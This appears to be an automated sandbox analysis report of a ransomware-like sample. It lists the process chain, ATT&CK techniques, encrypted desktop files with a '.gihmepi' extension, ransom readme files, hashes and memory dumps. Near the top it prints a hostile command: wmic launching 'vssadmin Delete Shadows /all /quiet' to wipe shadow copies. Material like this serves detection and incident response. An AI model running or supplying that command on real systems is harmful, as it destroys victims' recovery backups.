cmd /c CompMgmtLauncher.exe
1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:1528
- C:\Windows\system32\CompMgmtLauncher.exe
  CompMgmtLauncher.exe
  2⤵
  PID:1832
- - C:\Windows\system32\wbem\wmic.exe
    "C:\Windows\system32\wbem\wmic.exe" process call create "vssadmin.exe Delete Shadows /all /quiet"
    3⤵
    PID:1944

C:\Windows\system32\vssadmin.exe
vssadmin.exe Delete Shadows /all /quiet
1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:1812

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File Deletion

T1107

Modify Registry

T1112

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Inhibit System Recovery

T1490

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Cookies\12KYXWWE.txt

MD5
07d8ba93c2ef3232c42003123a5a2be7

SHA1
6ebbfe6b8f30bbe61925950e4e06b6776e72663a

SHA256
8838db4fd0129a371de48ab790a65b54cd28036ac342f39749a304e9a39db653

SHA512
b79bb56f08e5b6b61c79da49d02ed4499bf9d0d2e8d172f47641c456409641ab31ed087246cf4b43d910b5d44a252af7cc9043f8670cb363410d131209a9c640

Download Submit
C:\Users\Admin\Desktop\ConnectRemove.pdf.gihmepi

MD5
d45b0c3e468c54f3502edc15dfca8347

SHA1
32073c340fbdf9ad10a48b97d3333e829ccb933e

SHA256
086623de9ca924c96e4ed988d556640d5f2b9a782c43a307654a34620356cfd5

SHA512
46ea203e81d8df8e8e4857733b2b6defb84a2be7afd1bc1ed0371d3f3810e130433bfda11caee37efbe62ef78cc0541e4c519c6656bf0b2260525a6d7f20d710

Download Submit
C:\Users\Admin\Desktop\ConvertToCompare.xltx.gihmepi

MD5
c288406f0e388d7320b7f12e05474d10

SHA1
ef4eaf6cc647e918ed2a87496cec1666cfb90e3a

SHA256
ac93c6c52938b8d9641368c79e31d27fc50ede74fd581a61ba4d1050b999c4ed

SHA512
c42d59439986fab3b5eb4a7a7f77b351c11b22caa197570e5d21bf190fd42935ee9a911b97e9fb14b372a50878874f29fdb42739b35200e212ee2ce2bcb858eb

Download Submit
C:\Users\Admin\Desktop\ExitSave.dib.gihmepi

MD5
98919319b63fe6d7e45f351fe4485534

SHA1
edc47e37fc7cdb9abd4cb9bcb07e4a1f6d268f0a

SHA256
e02c6cc625fa5284ad6b9ef497c864893aa60370593d5b9546980a896b55957c

SHA512
88afe121a6c17e0235bce21d54e9ce8e88feb8eaa7bfa2bd044184fe255530c55db4752d8b067ed8d130db603fa7507eb5b371e3d4e1fd8b77eae14cf1dc4540

Download Submit
C:\Users\Admin\Desktop\FindProtect.gif.gihmepi

MD5
23f130b2b6df9c9db556042c1d4b328f

SHA1
ca1177de13240e892d0053e4328c9c079834cfd1

SHA256
ef912e290eb2a5661483458f712895ea0dc404bc885ad2dd88bdd95e9d37768a

SHA512
9b234eaee7cf224db6e655ece5524aac37e22a97897d7d8303d00ed4ff78b04719c83d3a4cd4278238c9cbfca3b046c83fe01e8236d1a2f19d1a3d9fca6e3230

Download Submit
C:\Users\Admin\Desktop\InstallDismount.zip.gihmepi

MD5
778adfb9258a2263c5daa531acbb26b5

SHA1
10eed115542f029e41c245c3ea830f73e1660bb9

SHA256
3706dfb2a65323f0b52b8872b5fee7f899fa88f0164352e977d06955a05af6fa

SHA512
f7dd24cae6cf91a2385da42fc232bd724b414429a398fa718ee3476427d6085ee2fe81da73126b12733269d34160e6bca587a7dc280bae402c1fa52d6b847819

Download Submit
C:\Users\Admin\Desktop\SetUse.jpg.gihmepi

MD5
112012ecea6b9026dce3bd5eabaac5ba

SHA1
3804a3f89e7ecaedbf6e8f1a148777dd953a2796

SHA256
f6e544d1568fdf57422fb891505dfdc1990adbf99e2de2322ad3b75df8e39bf5

SHA512
2a9807fd964f05d9ee456b3c1bd6768ad22315f6a3765bd7163e951a93a58cd0b3170060e286448caf4806760a3bb11d9dc1a7008155cc1007cbfcc813347c7a

Download Submit
C:\Users\Admin\Desktop\WatchResolve.jpeg.gihmepi

MD5
04a30cb5ad5518f3e617775882e7cc85

SHA1
030e60abc7b8b55008bb4c43f5f0fc021b30c73b

SHA256
a62827ee20c51b1979a61cef6cb851523173811af4a749dac4682abd30627718

SHA512
0afe8ff725d9f53c3868d9cd70e9a5723b19c3e0e0fcc274e9df91443c5f9a0843dc2f27dd04e0a69954065b9a7af70a482dc545757b6591a9574a5322ad0fc1

Download Submit
C:\Users\Admin\Desktop\WriteInitialize.xlsx.gihmepi

MD5
1a1e6bb31958e66a053483a176d50180

SHA1
1fcbc5c5d4f8dc630a323b47d186121ae008e812

SHA256
b87c4229a56c45404b0c1fca51b95215dc7c94bb321a8c2e72a0a3dd47772598

SHA512
55d90acaef6b6720778b6c591d90de33bd21dc1b17580e5823e9f48275c0159dd523bfc26977f4b5137abaec9bbd3cdefc28c9b984c1d0ba4b08a379d099099d

Download Submit
C:\Users\Admin\Desktop\readme.txt

MD5
30ddf2d89e01e1eec5cb4df77409cd10

SHA1
62d3477679a0b3308ccd013b67fdf49c67a15f10

SHA256
cd8c59d61468247904c0ca08479260d2226c6fe431fb7639f1b2bf21b05fc48b

SHA512
b8be08be428ce040c0aefd24162f263ec8db17e99da297e12bcc8b2e304047cfdf066dbb16a99798039ab4c9af60b59c8a86fbe8dcec937a1ce2223d99ce4d34

Download Submit
C:\Users\Public\readme.txt

MD5
30ddf2d89e01e1eec5cb4df77409cd10

SHA1
62d3477679a0b3308ccd013b67fdf49c67a15f10

SHA256
cd8c59d61468247904c0ca08479260d2226c6fe431fb7639f1b2bf21b05fc48b

SHA512
b8be08be428ce040c0aefd24162f263ec8db17e99da297e12bcc8b2e304047cfdf066dbb16a99798039ab4c9af60b59c8a86fbe8dcec937a1ce2223d99ce4d34

Download Submit
\??\PIPE\srvsvc

MD5
d41d8cd98f00b204e9800998ecf8427e

SHA1
da39a3ee5e6b4b0d3255bfef95601890afd80709

SHA256
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

SHA512
cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

Download Submit
memory/320-104-0x0000000000000000-mapping.dmp

Download
memory/396-92-0x0000000000000000-mapping.dmp

Download
memory/396-73-0x0000000000000000-mapping.dmp

Download
memory/628-94-0x0000000000000000-mapping.dmp

Download
memory/828-81-0x0000000000000000-mapping.dmp

Download
memory/1004-91-0x0000000000000000-mapping.dmp

Download
memory/1004-72-0x0000000000000000-mapping.dmp

Download
memory/1104-67-0x00000000003A0000-0x00000000003A5000-memory.dmp

Filesize
20KB

Download
memory/1168-98-0x0000000000000000-mapping.dmp

Download
memory/1168-93-0x0000000000000000-mapping.dmp

Download
memory/1384-86-0x0000000000000000-mapping.dmp

Download
memory/1392-69-0x0000000000000000-mapping.dmp

Download
memory/1392-70-0x000007FEFC4C1000-0x000007FEFC4C3000-memory.dmp

Filesize
8KB

Download
memory/1400-77-0x0000000000000000-mapping.dmp

Download
memory/1460-75-0x0000000000000000-mapping.dmp

Download
memory/1512-103-0x0000000000000000-mapping.dmp

Download
memory/1656-99-0x0000000000000000-mapping.dmp

Download
memory/1656-96-0x0000000000000000-mapping.dmp

Download
memory/1708-60-0x0000000000150000-0x0000000000151000-memory.dmp

Filesize
4KB

Download
memory/1708-66-0x0000000000260000-0x0000000000261000-memory.dmp

Filesize
4KB

Download
memory/1708-62-0x0000000000170000-0x0000000000171000-memory.dmp

Filesize
4KB

Download
memory/1708-90-0x0000000003D90000-0x0000000003D91000-memory.dmp

Filesize
4KB

Download
memory/1708-64-0x0000000000240000-0x0000000000241000-memory.dmp

Filesize
4KB

Download
memory/1708-63-0x0000000000230000-0x0000000000231000-memory.dmp

Filesize
4KB

Download
memory/1708-59-0x0000000000140000-0x0000000000141000-memory.dmp

Filesize
4KB

Download
memory/1708-55-0x0000000001D10000-0x0000000001F4E000-memory.dmp

Filesize
2.2MB

Download
memory/1708-65-0x0000000000250000-0x0000000000251000-memory.dmp

Filesize
4KB

Download
memory/1708-61-0x0000000000160000-0x0000000000161000-memory.dmp

Filesize
4KB

Download
memory/1708-56-0x0000000000100000-0x0000000000101000-memory.dmp

Filesize
4KB

Download
memory/1708-68-0x0000000003D70000-0x0000000003D71000-memory.dmp

Filesize
4KB

Download
memory/1708-58-0x0000000000120000-0x0000000000121000-memory.dmp

Filesize
4KB

Download
memory/1708-57-0x0000000000110000-0x0000000000111000-memory.dmp

Filesize
4KB

Download
memory/1736-105-0x0000000000000000-mapping.dmp

Download
memory/1832-102-0x0000000000000000-mapping.dmp

Download
memory/1832-106-0x0000000000000000-mapping.dmp

Download
memory/1940-74-0x0000000000000000-mapping.dmp

Download
memory/1944-108-0x0000000000000000-mapping.dmp

Download
memory/2020-97-0x0000000000000000-mapping.dmp

Download